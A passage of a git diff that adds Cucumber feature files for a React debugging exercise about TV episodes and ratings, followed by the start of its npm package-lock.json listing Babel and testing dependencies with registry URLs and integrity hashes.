am an end user + When the page loads + Then I see a list of the episodes + + @200 + Scenario: TV Shows are displayed in order + Given I am an end user + When the page loads + Then I see a list of the episodes in alphabetical order diff --git a/debugging-3/features/ratings.feature b/debugging-3/features/ratings.feature new file mode 100644 index 00000000..9891ef4d --- /dev/null +++ b/debugging-3/features/ratings.feature @@ -0,0 +1,13 @@ +Feature: Ratings + + @100 + Scenario: Placeholder text + Given I am an end user + When I go to the page + Then I should see "Select a rating" + + @200 + Scenario: Rating out of 5 is displayed + Given I am an end user + When I select "Great" + Then I should see a 4/5 for the score diff --git a/debugging-3/package-lock.json b/debugging-3/package-lock.json new file mode 100644 index 00000000..9bc41d5a --- /dev/null +++ b/debugging-3/package-lock.json @@ -0,0 +1,28948 @@ +{ + "name": "react-debugging", + "version": "0.1.0", + "lockfileVersion": 2, + "requires": true, + "packages": { + "": { + "name": "react-debugging", + "version": "0.1.0", + "dependencies": { + "@testing-library/jest-dom": "^5.16.5", + "@testing-library/react": "^13.4.0", + "@testing-library/user-event": "^13.5.0", + "react": "^18.2.0", + "react-dom": "^18.2.0", + "react-scripts": "5.0.1", + "web-vitals": "^2.1.4" + } + }, + "node_modules/@adobe/css-tools": { + "version": "4.3.3", + "resolved": "https://registry.npmjs.org/@adobe/css-tools/-/css-tools-4.3.3.tgz", + "integrity": "sha512-rE0Pygv0sEZ4vBWHlAgJLGDU7Pm8xoO6p3wsEceb7GYAjScrOHpEo8KK/eVkAcnSM+slAEtXjA2JpdjLp4fJQQ==" + }, + "node_modules/@alloc/quick-lru": { + "version": "5.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@alloc/quick-lru/-/quick-lru-5.2.0.tgz", + "integrity": "sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==", + "engines": { + "node": ">=10" + } + }, + "node_modules/@ampproject/remapping": { + "version": "2.2.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@ampproject/remapping/-/remapping-2.2.1.tgz", + "integrity": "sha512-lFMjJTrFL3j7L9yBxwYfCq2k6qqwHyzuUl/XBnif78PWTJYyL/dfowQHWE3sp6U6ZzqWiiIZnpTMO96zhkjwtg==", + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.0", + "@jridgewell/trace-mapping": "^0.3.9" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/code-frame": { + "version": "7.24.2", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.24.2.tgz", + "integrity": "sha512-y5+tLQyV8pg3fsiln67BVLD1P13Eg4lh5RW9mF0zUuvLrv9uIQ4MCL+CRT+FTsBlBjcIan6PGsLcBN0m3ClUyQ==", + "dependencies": { + "@babel/highlight": "^7.24.2", + "picocolors": "^1.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/compat-data": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/compat-data/-/compat-data-7.22.5.tgz", + "integrity": "sha512-4Jc/YuIaYqKnDDz892kPIledykKg12Aw1PYX5i/TY28anJtacvM1Rrr8wbieB9GfEJwlzqT0hUEao0CxEebiDA==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/core": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/core/-/core-7.22.5.tgz", + "integrity": "sha512-SBuTAjg91A3eKOvD+bPEz3LlhHZRNu1nFOVts9lzDJTXshHTjII0BAtDS3Y2DAkdZdDKWVZGVwkDfc4Clxn1dg==", + "dependencies": { + "@ampproject/remapping": "^2.2.0", + "@babel/code-frame": "^7.22.5", + "@babel/generator": "^7.22.5", + "@babel/helper-compilation-targets": "^7.22.5", + "@babel/helper-module-transforms": "^7.22.5", + "@babel/helpers": "^7.22.5", + "@babel/parser": "^7.22.5", + "@babel/template": "^7.22.5", + "@babel/traverse": "^7.22.5", + "@babel/types": "^7.22.5", + "convert-source-map": "^1.7.0", + "debug": "^4.1.0", + "gensync": "^1.0.0-beta.2", + "json5": "^2.2.2", + "semver": "^6.3.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/core/node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/@babel/eslint-parser": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/eslint-parser/-/eslint-parser-7.22.5.tgz", + "integrity": "sha512-C69RWYNYtrgIRE5CmTd77ZiLDXqgBipahJc/jHP3sLcAGj6AJzxNIuKNpVnICqbyK7X3pFUfEvL++rvtbQpZkQ==", + "dependencies": { + "@nicolo-ribaudo/eslint-scope-5-internals": "5.1.1-v1", + "eslint-visitor-keys": "^2.1.0", + "semver": "^6.3.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || >=14.0.0" + }, + "peerDependencies": { + "@babel/core": ">=7.11.0", + "eslint": "^7.5.0 || ^8.0.0" + } + }, + "node_modules/@babel/eslint-parser/node_modules/eslint-visitor-keys": { + "version": "2.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/eslint-visitor-keys/-/eslint-visitor-keys-2.1.0.tgz", + "integrity": "sha512-0rSmRBzXgDzIsD6mGdJgevzgezI534Cer5L/vyMX0kHzT/jiB43jRhd9YUlMGYLQy2zprNmoT8qasCGtY+QaKw==", + "engines": { + "node": ">=10" + } + }, + "node_modules/@babel/eslint-parser/node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/@babel/generator": { + "version": "7.24.1", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.24.1.tgz", + "integrity": "sha512-DfCRfZsBcrPEHUfuBMgbJ1Ut01Y/itOs+hY2nFLgqsqXd52/iSiVq5TITtUasIUgm+IIKdY2/1I7auiQOEeC9A==", + "dependencies": { + "@babel/types": "^7.24.0", + "@jridgewell/gen-mapping": "^0.3.5", + "@jridgewell/trace-mapping": "^0.3.25", + "jsesc": "^2.5.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-annotate-as-pure": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.22.5.tgz", + "integrity": "sha512-LvBTxu8bQSQkcyKOU+a1btnNFQ1dMAd0R6PyW3arXes06F6QLWLIrd681bxRPIXlrMGR3XYnW9JyML7dP3qgxg==", + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-builder-binary-assignment-operator-visitor": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.22.5.tgz", + "integrity": "sha512-m1EP3lVOPptR+2DwD125gziZNcmoNSHGmJROKoy87loWUQyJaVXDgpmruWqDARZSmtYQ+Dl25okU8+qhVzuykw==", + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-compilation-targets": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/helper-compilation-targets/-/helper-compilation-targets-7.22.5.tgz", + "integrity": "sha512-Ji+ywpHeuqxB8WDxraCiqR0xfhYjiDE/e6k7FuIaANnoOFxAHskHChz4vA1mJC9Lbm01s1PVAGhQY4FUKSkGZw==", + "dependencies": { + "@babel/compat-data": "^7.22.5", + "@babel/helper-validator-option": "^7.22.5", + "browserslist": "^4.21.3", + "lru-cache": "^5.1.1", + "semver": "^6.3.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-compilation-targets/node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/@babel/helper-create-class-features-plugin": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.22.5.tgz", + "integrity": "sha512-xkb58MyOYIslxu3gKmVXmjTtUPvBU4odYzbiIQbWwLKIHCsx6UGZGX6F1IznMFVnDdirseUZopzN+ZRt8Xb33Q==", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-function-name": "^7.22.5", + "@babel/helper-member-expression-to-functions": "^7.22.5", + "@babel/helper-optimise-call-expression": "^7.22.5", + "@babel/helper-replace-supers": "^7.22.5", + "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", + "@babel/helper-split-export-declaration": "^7.22.5", + "semver": "^6.3.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-create-class-features-plugin/node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/@babel/helper-create-regexp-features-plugin": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.22.5.tgz", + "integrity": "sha512-1VpEFOIbMRaXyDeUwUfmTIxExLwQ+zkW+Bh5zXpApA3oQedBx9v/updixWxnx/bZpKw7u8VxWjb/qWpIcmPq8A==", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "regexpu-core": "^5.3.1", + "semver": "^6.3.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-create-regexp-features-plugin/node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/@babel/helper-define-polyfill-provider": { + "version": "0.4.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.4.0.tgz", + "integrity": "sha512-RnanLx5ETe6aybRi1cO/edaRH+bNYWaryCEmjDDYyNr4wnSzyOp8T0dWipmqVHKEY3AbVKUom50AKSlj1zmKbg==", + "dependencies": { + "@babel/helper-compilation-targets": "^7.17.7", + "@babel/helper-plugin-utils": "^7.16.7", + "debug": "^4.1.1", + "lodash.debounce": "^4.0.8", + "resolve": "^1.14.2", + "semver": "^6.1.2" + }, + "peerDependencies": { + "@babel/core": "^7.4.0-0" + } + }, + "node_modules/@babel/helper-define-polyfill-provider/node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/@babel/helper-environment-visitor": { + "version": "7.22.20", + "resolved": "https://registry.npmjs.org/@babel/helper-environment-visitor/-/helper-environment-visitor-7.22.20.tgz", + "integrity": "sha512-zfedSIzFhat/gFhWfHtgWvlec0nqB9YEIVrpuwjruLlXfUSnA8cJB0miHKwqDnQ7d32aKo2xt88/xZptwxbfhA==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-function-name": { + "version": "7.23.0", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.23.0.tgz", + "integrity": "sha512-OErEqsrxjZTJciZ4Oo+eoZqeW9UIiOcuYKRJA4ZAgV9myA+pOXhhmpfNCKjEH/auVfEYVFJ6y1Tc4r0eIApqiw==", + "dependencies": { + "@babel/template": "^7.22.15", + "@babel/types": "^7.23.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-hoist-variables": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/helper-hoist-variables/-/helper-hoist-variables-7.22.5.tgz", + "integrity": "sha512-wGjk9QZVzvknA6yKIUURb8zY3grXCcOZt+/7Wcy8O2uctxhplmUPkOdlgoNhmdVee2c92JXbf1xpMtVNbfoxRw==", + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-member-expression-to-functions": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.22.5.tgz", + "integrity": "sha512-aBiH1NKMG0H2cGZqspNvsaBe6wNGjbJjuLy29aU+eDZjSbbN53BaxlpB02xm9v34pLTZ1nIQPFYn2qMZoa5BQQ==", + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-imports": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/helper-module-imports/-/helper-module-imports-7.22.5.tgz", + "integrity": "sha512-8Dl6+HD/cKifutF5qGd/8ZJi84QeAKh+CEe1sBzz8UayBBGg1dAIJrdHOcOM5b2MpzWL2yuotJTtGjETq0qjXg==", + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-transforms": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/helper-module-transforms/-/helper-module-transforms-7.22.5.tgz", + "integrity": "sha512-+hGKDt/Ze8GFExiVHno/2dvG5IdstpzCq0y4Qc9OJ25D4q3pKfiIP/4Vp3/JvhDkLKsDK2api3q3fpIgiIF5bw==", + "dependencies": { + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-module-imports": "^7.22.5", + "@babel/helper-simple-access": "^7.22.5", + "@babel/helper-split-export-declaration": "^7.22.5", + "@babel/helper-validator-identifier": "^7.22.5", + "@babel/template": "^7.22.5", + "@babel/traverse": "^7.22.5", + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-optimise-call-expression": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.22.5.tgz", + "integrity": "sha512-HBwaojN0xFRx4yIvpwGqxiV2tUfl7401jlok564NgB9EHS1y6QT17FmKWm4ztqjeVdXLuC4fSvHc5ePpQjoTbw==", + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-plugin-utils": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/helper-plugin-utils/-/helper-plugin-utils-7.22.5.tgz", + "integrity": "sha512-uLls06UVKgFG9QD4OeFYLEGteMIAa5kpTPcFL28yuCIIzsf6ZyKZMllKVOCZFhiZ5ptnwX4mtKdWCBE/uT4amg==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-remap-async-to-generator": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.22.5.tgz", + "integrity": "sha512-cU0Sq1Rf4Z55fgz7haOakIyM7+x/uCFwXpLPaeRzfoUtAEAuUZjZvFPjL/rk5rW693dIgn2hng1W7xbT7lWT4g==", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-wrap-function": "^7.22.5", + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-replace-supers": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/helper-replace-supers/-/helper-replace-supers-7.22.5.tgz", + "integrity": "sha512-aLdNM5I3kdI/V9xGNyKSF3X/gTyMUBohTZ+/3QdQKAA9vxIiy12E+8E2HoOP1/DjeqU+g6as35QHJNMDDYpuCg==", + "dependencies": { + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-member-expression-to-functions": "^7.22.5", + "@babel/helper-optimise-call-expression": "^7.22.5", + "@babel/template": "^7.22.5", + "@babel/traverse": "^7.22.5", + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-simple-access": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/helper-simple-access/-/helper-simple-access-7.22.5.tgz", + "integrity": "sha512-n0H99E/K+Bika3++WNL17POvo4rKWZ7lZEp1Q+fStVbUi8nxPQEBOlTmCOxW/0JsS56SKKQ+ojAe2pHKJHN35w==", + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-skip-transparent-expression-wrappers": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.22.5.tgz", + "integrity": "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q==", + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-split-export-declaration": { + "version": "7.22.6", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.22.6.tgz", + "integrity": "sha512-AsUnxuLhRYsisFiaJwvp1QF+I3KjD5FOxut14q/GzovUe6orHLesW2C7d754kRm53h5gqrz6sFl6sxc4BVtE/g==", + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-string-parser": { + "version": "7.24.1", + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.24.1.tgz", + "integrity": "sha512-2ofRCjnnA9y+wk8b9IAREroeUP02KHp431N2mhKniy2yKIDKpbrHv9eXwm8cBeWQYcJmzv5qKCu65P47eCF7CQ==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-identifier": { + "version": "7.22.20", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.22.20.tgz", + "integrity": "sha512-Y4OZ+ytlatR8AI+8KZfKuL5urKp7qey08ha31L8b3BwewJAoJamTzyvxPR/5D+KkdJCGPq/+8TukHBlY10FX9A==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-option": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/helper-validator-option/-/helper-validator-option-7.22.5.tgz", + "integrity": "sha512-R3oB6xlIVKUnxNUxbmgq7pKjxpru24zlimpE8WK47fACIlM0II/Hm1RS8IaOI7NgCr6LNS+jl5l75m20npAziw==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-wrap-function": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/helper-wrap-function/-/helper-wrap-function-7.22.5.tgz", + "integrity": "sha512-bYqLIBSEshYcYQyfks8ewYA8S30yaGSeRslcvKMvoUk6HHPySbxHq9YRi6ghhzEU+yhQv9bP/jXnygkStOcqZw==", + "dependencies": { + "@babel/helper-function-name": "^7.22.5", + "@babel/template": "^7.22.5", + "@babel/traverse": "^7.22.5", + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helpers": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/helpers/-/helpers-7.22.5.tgz", + "integrity": "sha512-pSXRmfE1vzcUIDFQcSGA5Mr+GxBV9oiRKDuDxXvWQQBCh8HoIjs/2DlDB7H8smac1IVrB9/xdXj2N3Wol9Cr+Q==", + "dependencies": { + "@babel/template": "^7.22.5", + "@babel/traverse": "^7.22.5", + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/highlight": { + "version": "7.24.2", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.24.2.tgz", + "integrity": "sha512-Yac1ao4flkTxTteCDZLEvdxg2fZfz1v8M4QpaGypq/WPDqg3ijHYbDfs+LG5hvzSoqaSZ9/Z9lKSP3CjZjv+pA==", + "dependencies": { + "@babel/helper-validator-identifier": "^7.22.20", + "chalk": "^2.4.2", + "js-tokens": "^4.0.0", + "picocolors": "^1.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/parser": { + "version": "7.24.1", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.24.1.tgz", + "integrity": "sha512-Zo9c7N3xdOIQrNip7Lc9wvRPzlRtovHVE4lkz8WEDr7uYh/GMQhSiIgFxGIArRHYdJE5kxtZjAf8rT0xhdLCzg==", + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression/-/plugin-bugfix-safari-id-destructuring-collision-in-function-expression-7.22.5.tgz", + "integrity": "sha512-NP1M5Rf+u2Gw9qfSO4ihjcTGW5zXTi36ITLd4/EoAcEhIZ0yjMqmftDNl3QC19CX7olhrjpyU454g/2W7X0jvQ==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.22.5.tgz", + "integrity": "sha512-31Bb65aZaUwqCbWMnZPduIZxCBngHFlzyN6Dq6KAJjtx+lx6ohKHubc61OomYi7XwVD4Ol0XCVz4h+pYFR048g==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", + "@babel/plugin-transform-optional-chaining": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.13.0" + } + }, + "node_modules/@babel/plugin-proposal-class-properties": { + "version": "7.18.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.18.6.tgz", + "integrity": "sha512-cumfXOF0+nzZrrN8Rf0t7M+tF6sZc7vhQwYQck9q1/5w2OExlD+b4v4RpMJFaV1Z7WcDRgO6FqvxqxGlwo+RHQ==", + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-decorators": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-proposal-decorators/-/plugin-proposal-decorators-7.22.5.tgz", + "integrity": "sha512-h8hlezQ4dl6ixodgXkH8lUfcD7x+WAuIqPUjwGoItynrXOAv4a4Tci1zA/qjzQjjcl0v3QpLdc2LM6ZACQuY7A==", + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-replace-supers": "^7.22.5", + "@babel/helper-split-export-declaration": "^7.22.5", + "@babel/plugin-syntax-decorators": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-nullish-coalescing-operator": { + "version": "7.18.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.18.6.tgz", + "integrity": "sha512-wQxQzxYeJqHcfppzBDnm1yAY0jSRkUXR2z8RePZYrKwMKgMlE8+Z6LUno+bd6LvbGh8Gltvy74+9pIYkr+XkKA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-numeric-separator": { + "version": "7.18.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.18.6.tgz", + "integrity": "sha512-ozlZFogPqoLm8WBr5Z8UckIoE4YQ5KESVcNudyXOR8uqIkliTEgJ3RoketfG6pmzLdeZF0H/wjE9/cCEitBl7Q==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/plugin-syntax-numeric-separator": "^7.10.4" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-optional-chaining": { + "version": "7.21.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.21.0.tgz", + "integrity": "sha512-p4zeefM72gpmEe2fkUr/OnOXpWEf8nAgk7ZYVqqfFiyIG7oFfVZcCrU64hWn5xp4tQ9LkV4bTIa5rD0KANpKNA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.20.2", + "@babel/helper-skip-transparent-expression-wrappers": "^7.20.0", + "@babel/plugin-syntax-optional-chaining": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-private-methods": { + "version": "7.18.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-proposal-private-methods/-/plugin-proposal-private-methods-7.18.6.tgz", + "integrity": "sha512-nutsvktDItsNn4rpGItSNV2sz1XwS+nfU0Rg8aCx3W3NOKVzdMjJRu0O5OkgDp3ZGICSTbgRpxZoWsxoKRvbeA==", + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-private-property-in-object": { + "version": "7.21.0-placeholder-for-preset-env.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.21.0-placeholder-for-preset-env.2.tgz", + "integrity": "sha512-SOSkfJDddaM7mak6cPEpswyTRnuRltl429hMraQEglW+OkovnCzsiszTmsrlY//qLFjCpQDFRvjdm2wA5pPm9w==", + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-unicode-property-regex": { + "version": "7.18.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-proposal-unicode-property-regex/-/plugin-proposal-unicode-property-regex-7.18.6.tgz", + "integrity": "sha512-2BShG/d5yoZyXZfVePH91urL5wTG6ASZU9M4o03lKK8u8UW1y08OMttBSOADTcJrnPMpvDXRG3G8fyLh4ovs8w==", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6" + }, + 